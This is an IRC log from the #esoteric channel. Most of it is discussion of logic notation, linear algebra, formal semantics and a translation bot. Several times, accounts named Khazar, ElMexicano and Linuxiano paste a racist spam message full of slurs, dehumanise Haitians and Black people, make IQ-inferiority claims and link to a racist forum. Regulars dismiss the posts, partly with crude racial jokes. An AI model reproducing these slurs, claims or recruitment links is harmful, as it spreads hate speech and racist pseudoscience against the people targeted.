< 1267919108 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :so in that latter statement, you're using "<=>" as "is equivalent to"? < 1267919116 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, yes < 1267919121 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267919140 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :it's just a wee bit confusing for me, as I always use it as "is analogous to" < 1267919150 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, but iff => <=> iirc < 1267919164 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :and "=>" <=> ? < 1267919181 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, ? < 1267919193 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what does "=>" mean? < 1267919204 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :forgot the name for it, let me look it up. < 1267919262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, taking an example might be best < 1267919269 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :sure < 1267919280 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :x = 2 => x^2 = 4 < 1267919284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the reverse is not true < 1267919287 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1267919290 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is < 1267919306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :x^2 = 4 => x = 2 is false < 1267919312 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since x could be equal to -2 < 1267919323 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :explicitly one-directional equivalence < 1267919354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, yes, in the case above I used it because I got confused over if you could always replace <=> with iff (but the reverse should work) < 1267919375 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, don't the math teachers at your university use these kind of symbols all the time? < 1267919385 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :they use iff, not <=> < 1267919417 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :when I started using "<=>" to mean "is analogous to", I just assumed it was a free (or at least obscurely-used) symbol < 1267919424 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, mine use omm or <=> (omm "om och endast om", no I'm not sure how that phrase ends up with that abbrev either!) < 1267919431 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and that is Swedish btw) < 1267919453 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :endast ==(English)==> only? < 1267919461 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`translate endast < 1267919467 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, yes < 1267919471 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267919471 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :only < 1267919486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, or my irc notation of that would be: sv:endast = en:only < 1267919493 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :ah, okay < 1267919498 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, which I don < 1267919505 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :don't* think is used for anything else < 1267919507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1267919520 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I guess I should have made aware the originating language < 1267919536 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :endast ==(Swedish --> English)==> only < 1267919576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, oh and <=> as "is equivalent" seems to generally be used between equations < 1267919593 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :especially when writing them on one line < 1267919624 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :see? my college has enough paper to not have to do that, ha < 1267919645 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, big enough whiteboards? < 1267919656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, also is college <=> university? < 1267919677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and ~ seems to be used for row equivalence by at least one teacher < 1267919677 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :basically, yeah < 1267919688 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :"row equivalence"? < 1267919701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, he teaches linear algebra < 1267919703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :guess < 1267919710 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hmmm < 1267919714 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1267919714 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :nope, nothing's coming to me < 1267919743 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, http://en.wikipedia.org/wiki/Table_of_mathematical_symbols lists it as "row equivalence" amongst other things < 1267919764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that link redirects to an article that doesn't mention that word explicitly < 1267919782 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, but on that meaning I'm somewhat confused. Generally it is used when row reducing a matrix < 1267919796 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but wikipedia says < 1267919798 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"A~B means that B can be generated by using a series of elementary row operations on A" < 1267920651 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267920766 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267921548 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267922255 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :o hai < 1267922287 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yet iff symbolically is merely <-> < 1267922295 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a single-lined double arrow < 1267922389 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :also < 1267922391 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :CAFFEINE! :D < 1267922688 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :who was it that suggested lo carb monster < 1267922906 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh, noone here < 1267923033 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267923924 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267924012 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: (ﾉﾟοﾟ)ﾉﾐ★゜・。。・゜゜・。。・゜☆゜・。。・゜゜・。。・゜ < 1267924027 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267924031 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hahahahaha < 1267924233 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :wtf is that < 1267924254 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :beats me, I can't see it < 1267924262 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: なぜ絵文字を使いますか。 < 1267924281 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :shiiiiiiit < 1267924302 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :何？ < 1267924322 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I have no idea what you're saying. < 1267924359 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Japanese-script-using failure. < 1267924387 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Fortunately I don't know Japanese. < 1267924643 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Then why are you using < 1267924649 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :JIS art? < 1267924650 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267924663 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1267925120 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: because i speak japanese < 1267925132 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: 本当に？ < 1267925138 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267925207 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :でも、「絵文字」を知らない。 < 1267925266 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hrm. ... Emoji is wrong word. JIS art. < 1267925465 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267926626 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, alise isn't here? < 1267927502 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So, keywords do exist in Common Lisp < 1267927642 0 :benuphoenix!~matt@ool-182e6881.dyn.optonline.net JOIN :#esoteric < 1267927671 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not ATM. < 1267927830 0 :zzo38!~zzo38@h24-207-48-53.dlt.dccnet.com JOIN :#esoteric < 1267927988 0 :benuphoenix!unknown@unknown.invalid QUIT :Quit: leaving < 1267928573 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Do you know how to make hypervisor mode in ARM-based computer? < 1267930294 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267931256 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267931466 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267932083 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1267932912 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1267937842 0 :Khazar!~Surrador@201.160.235.225.cable.dyn.cableonline.com.mx JOIN :#esoteric < 1267938946 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :goodnight! < 1267938948 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1267939065 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric : It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha < 1267939065 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric : t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum < 1267939181 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :lament: Art thou awake? < 1267939227 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Khazar: 馬鹿ね。 < 1267939644 0 :Azstal!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267941199 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1267941596 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... wow. < 1267941601 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Good ol' fashioned spam I guess. < 1267941612 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not all that "good ol' fashioned". < 1267941621 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If it were that, Khazar would be giving the GNAA spiel. < 1267941630 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Rarely has "good ol' fashioned" meant "good" :P < 1267941704 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Heheh. < 1267941737 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Curious, I would expect a spambot to join various channels, but Khazar is only on #esoteric. < 1267941755 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Curious. < 1267941775 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Probably more of a *troll* than a spambot, then. < 1267941901 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1267941967 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Naw, a troll would be responsive, I assume. < 1267941970 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Just a moron. < 1267942141 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267942155 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1267942222 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :lament: Can has kickban on Khazar plz kthx < 1267942424 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Alternatively, can have access +o on Gregor? :P < 1267942515 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :it isn't spam < 1267942522 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :where did I mention viagra or porn? < 1267942554 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You opted form "chimpout" instead. < 1267942557 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. For. < 1267942566 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh wow, it is a "human". < 1267942567 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Shocking. < 1267942589 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :If nothing else, your racist idiocy has no relevance to this channel and is unsolicited, making it spam. < 1267942600 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :we have discovered that on Freenode, it is wiser to be more lowkey < 1267942602 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Advertising a site that is offensive to many and sought out by few is generally considered spam. < 1267942605 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :precluding the usage of bots < 1267942608 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :it is more profitable < 1267942617 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :if you are interested in such a job in irc marketing < 1267942626 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That would be because people on Freenode are, in general, more intelligent than turnips. < 1267942630 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :email recursoshumanos@telvista.com.mx < 1267942640 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Whereas the target audience for your site is in the 0.25-to-0.75 turnips intelligence range. < 1267942654 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :People on Freenode are more likely to be offended by marketing in general, you know. < 1267942660 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Which would place them just a tad below intelligent design advocates, and roughly on par with flat-Earth-theorists. < 1267942693 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(... Particularly here. Have you *seen* the crazy shit we write?) < 1267942726 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :i once knew a nigger named esoteric < 1267942734 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's too bad that "recursos" means "resources" instead of "recursive", "recursive humans" == an awesome concept :P < 1267942742 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :he had a sister named shaquanda < 1267942756 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :New idea: let's all /ignore < 1267942763 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :3, 2, 1, go < 1267942766 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Khazar: Would you please be so kind as to inform us of the reasons for your opinion? < 1267942784 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Oh dear :P < 1267942790 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I am certain that they are detailed, profound, and may well be enlightening as to certain aspects of the human condition. < 1267942823 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :Average Human IQ 100 Average Nigger IQ 80 Of course there are negroes that have normal IQs, but you are much more likely to run into a feral ape < 1267942828 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :than a magic negro < 1267942842 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :many who don't see this have been isolated from the bulk of the nigger population < 1267942849 0 :Khazar!unknown@unknown.invalid PRIVMSG #esoteric :and just know a few magic ones in the workplace < 1267942855 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, with such "compelling" evidence as that, I'm sure convinced haw haw X-D < 1267942876 0 :Khazar!unknown@unknown.invalid QUIT :Quit: Haiti=Mierda < 1267942881 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Daaaamn :P < 1267942888 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Magic ones are OK I guess. < 1267942889 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Alas. < 1267942893 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I know a few magic ones. < 1267942916 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I guess we need to sprinkle some pixy dust on everyone. < 1267942922 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Thus making magical negroes. < 1267942929 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sounds about right to me. < 1267942939 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(*Everyone* to allow for the possibility of racial mixes, of course.) < 1267942946 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Naturalismo. < 1267942958 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Now, let us discuss recursive humans. < 1267942973 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I think something along the lines of Russian nesting dolls. < 1267942977 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The idea intrigues me, and I would like to subscribe to relevant newsletters. < 1267942983 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267943040 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267944204 0 :ElMexicano!~ElMexican@201.160.235.225.cable.dyn.cableonline.com.mx JOIN :#esoteric < 1267944206 0 :ElMexicano!unknown@unknown.invalid PRIVMSG #esoteric : It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha < 1267944206 0 :ElMexicano!unknown@unknown.invalid PRIVMSG #esoteric : t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum < 1267944241 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ElMexicano: It remains unintelligent here. < 1267944267 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OK, the straight-up reappearing and pasting the same thing is bizarre :P < 1267944274 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1267944321 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ElMexicano: なぜ、おメキシコ人、それと思うかな。 < 1267944362 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Google translates that as "Why Mexicans us, I think it is." :P < 1267944372 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Not the most understandable translation I've ever seen. < 1267944383 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: That's because Japanese is a royal pain to translate. < 1267944390 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*Highly* context-dependent. < 1267944404 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That is "Why, oh Mexican, do you think that?" < 1267944437 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Should've done it in keigo so I could translate it was "Wherefore doth thou think that, most honerable Mexican?" < 1267944468 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Could be bots < 1267944501 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :-ElMexicano- VERSION xchat 2.8.6 Ubuntu < 1267944502 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, I can't remember the appropriate verb. < 1267944517 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ElMexicano, are you, in fact, a human? Prove it. < 1267944741 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Apparently not. < 1267944753 0 :ElMexicano!unknown@unknown.invalid PRIVMSG #esoteric : It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha < 1267944753 0 :ElMexicano!unknown@unknown.invalid PRIVMSG #esoteric : t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum < 1267944873 0 :ElMexicano!unknown@unknown.invalid QUIT :Quit: Haiti=Mierda < 1267944877 0 :Chazz!~Chazz@unaffiliated/dabomb69 JOIN :#esoteric < 1267944897 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Hey Chazz < 1267944907 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1267944911 0 :Chazz!unknown@unknown.invalid PRIVMSG #esoteric :Hai < 1267944978 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION points to the channel logs
< 1267945065 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :he seems to be using a single hostname < 1267945126 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah. < 1267945815 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :who wants to hear some obnoxious bullshit from contemporary formal semanticists? :D < 1267946158 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :ALWAYS < 1267946179 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: OK < 1267946207 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so apparently these nutballs try to account for the meaning of modal adjectives like, say, "always" < 1267946213 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :using the following _syntactic_ structures < 1267946260 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Transforming the meaning of "always" into something purely syntactic...? < 1267946270 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :[λs [s [ssh [always [λr [r [John complained]]]]]]] < 1267946287 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no, they just try to invent a shit ton of extra syntax so that the syntax maps neatly into logic < 1267946353 0 :Linuxiano!~JigBoot@201.160.235.225.cable.dyn.cableonline.com.mx JOIN :#esoteric < 1267946365 0 :Linuxiano!unknown@unknown.invalid PRIVMSG #esoteric : It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha < 1267946365 0 :Linuxiano!unknown@unknown.invalid PRIVMSG #esoteric : t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum < 1267946403 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :*sigh* < 1267946406 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lament! < 1267946450 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :augur: Just to be clear, that's the sentence "John always complained", yes? < 1267946452 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Or something along those lines. < 1267946456 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes. < 1267946479 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the best argued syntax for that is at most [always [John complained]] < 1267946504 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but typical semanticists add in a whole bunch of other shit because otherwise they cant explain anything < 1267946524 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That is the way of formal semantics :P < 1267946536 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its not < 1267946542 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :there are some formal semanticists that dont do that < 1267946551 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :If I knew the context I could maybe understand what function each additional layer serves, but I'm too tired and need to sleep, so I'll do that instead :P < 1267946559 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its just annoying that they stick the shit into the syntax not the semantics < 1267946564 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ah well ok < 1267946569 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its basically < 1267946598 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :s, ssh, and r are situation variables < 1267946607 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :john is just some person value lets say < 1267946626 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :complained is a function of type Ind -> Sit -> Bool < 1267946642 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :always is of type (Sit -> Bool) -> Sit -> Sit -> Bool < 1267946692 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so if this were in haskellish < 1267946744 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Sticking semantics into syntax = failure. < 1267946750 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :\s -> always (\r -> (complained John r)) ssh s < 1267946769 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: its so true. < 1267946791 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i mean, its one thing if you map from one to the other relatively transparently or something < 1267946806 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but to use your syntax as a place to encode your logical objects < 1267946815 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the whole theory just blows up and becomes incredibly complex < 1267947097 0 :Linuxiano!unknown@unknown.invalid PRIVMSG #esoteric : It is time to put those Haitian jigaboos in their place! No matter how many times the civilized world donates money, opens schools, rebuilds their nation, and holds their little monkey paws, the damn niggers can never get it right. They never will! The same goes for New Orleans! Cancun in Mexico suffered few fatalities after their major hurricane, and the rebuilding is already completed. Wha < 1267947101 0 :Linuxiano!unknown@unknown.invalid PRIVMSG #esoteric : t have the niggers in New Orleans done? If you are sick of this, join Chimpout Forum! http://www.chimpout.com/forum We welcome all races except for NIGGGGGGGERS! We are not white supremacists, just negro inferiorists! http://www.chimpout.com/forum < 1267947149 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pokes werdan7
< 1267947405 0 :Linuxiano!unknown@unknown.invalid QUIT :Quit: Haiti=Mierda < 1267947687 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :`translate mierda < 1267947696 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :crap < 1267948483 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate No hagas mierda estúpida. < 1267948485 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Do not do stupid shit. < 1267948500 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Darn these inconsistent translations. < 1267948552 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Con voz como John Scott / Ronco, ronco / Formó todos los coros < 1267948555 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :With a voice like John Scott / snoring, snoring / formed the choirs < 1267948590 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Con voz como John Scott / Ronco, ronco / Formó todos los coros / Tocó: Doblo con Mollo, bombo con Moro, / tom tom con Porno, joropo con Tormo, bongó con Don Johnson / Tocó con Toto, los Lobos, los Door, los Moscos / Compró dos vox < 1267948592 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :the flies / bought two vox < 1267948604 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Con voz como John Scott / Ronco, ronco / Formó todos los coros / Tocó: Doblo con Mollo, bombo con Moro, / tom tom con Porno, joropo con Tormo, bongó con Don Johnson < 1267948606 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :With a voice like John Scott / snoring, snoring / formed the choirs / played: Double Mollo, hype with Moro, / tom tom for Porno, joropo with Tormo, bongo with Don Johnson < 1267948681 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en es The others are crazy; I know them; I don't support them. < 1267948683 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Los otros son locos, yo los conozco, yo no los admite. < 1267948775 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto As I eat how I eat, nothing swims at all; nothing swims at all like I eat. < 1267948777 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267948783 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto As I eat how I eat, nothing swims at all. < 1267948785 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1267948796 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translatefromto en es As I eat how I eat, nothing swims at all; nothing swims at all like I eat. < 1267948798 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Como yo como cómo comer, nada nada en absoluto, nada en nada como comer. < 1267948799 0 :clog!unknown@unknown.invalid QUIT :ended < 1267948800 0 :clog!unknown@unknown.invalid JOIN 